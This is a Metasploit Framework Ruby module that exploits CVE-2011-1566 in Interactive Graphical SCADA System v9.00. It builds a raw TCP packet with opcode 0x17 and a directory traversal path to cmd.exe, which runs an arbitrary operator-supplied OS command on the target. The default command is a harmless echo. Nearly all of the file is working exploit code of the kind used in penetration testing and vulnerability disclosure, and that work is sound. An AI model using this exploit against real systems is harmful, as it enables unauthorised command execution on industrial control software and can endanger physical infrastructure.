##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Interactive Graphical SCADA System Remote Command Injection',
			'Description'    => %q{
					This module abuses a directory traversal flaw in Interactive
				Graphical SCADA System v9.00. In conjunction with the traversal
				flaw, if opcode 0x17 is sent to the dc.exe process, an attacker
				may be able to execute arbitrary system commands.
			},
			'Author'         => [ 'Luigi Auriemma', 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2011-1566'],
					[ 'OSVDB', '72349'],
					[ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ],
				],
			'DisclosureDate' => 'Mar 21 2011'))

		register_options(
			[
				Opt::RPORT(12397),
				OptString.new('CMD', [ false, 'The OS command to execute', 'echo metasploit > %SYSTEMDRIVE%\\metasploit.txt']),
			], self.class)
	end

	def run

		connect

		exec = datastore['CMD']

		packet =  [0x00000100].pack('V') + [0x00000000].pack('V')
		packet << [0x00000100].pack('V') + [0x00000017].pack('V')
		packet << [0x00000000].pack('V') + [0x00000000].pack('V')
		packet << [0x00000000].pack('V') + [0x00000000].pack('V')
		packet << [0x00000000].pack('V') + [0x00000000].pack('V')
		packet << [0x00000000].pack('V')
		packet << "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"
		packet << "windows\\system32\\cmd.exe\" /c #{exec}"
		packet << "\x00" * (143 + exec.length)

		print_status("Sending command: #{exec}")
		sock.put(packet)
		sock.get_once(-1,0.5)
		disconnect

	end

end
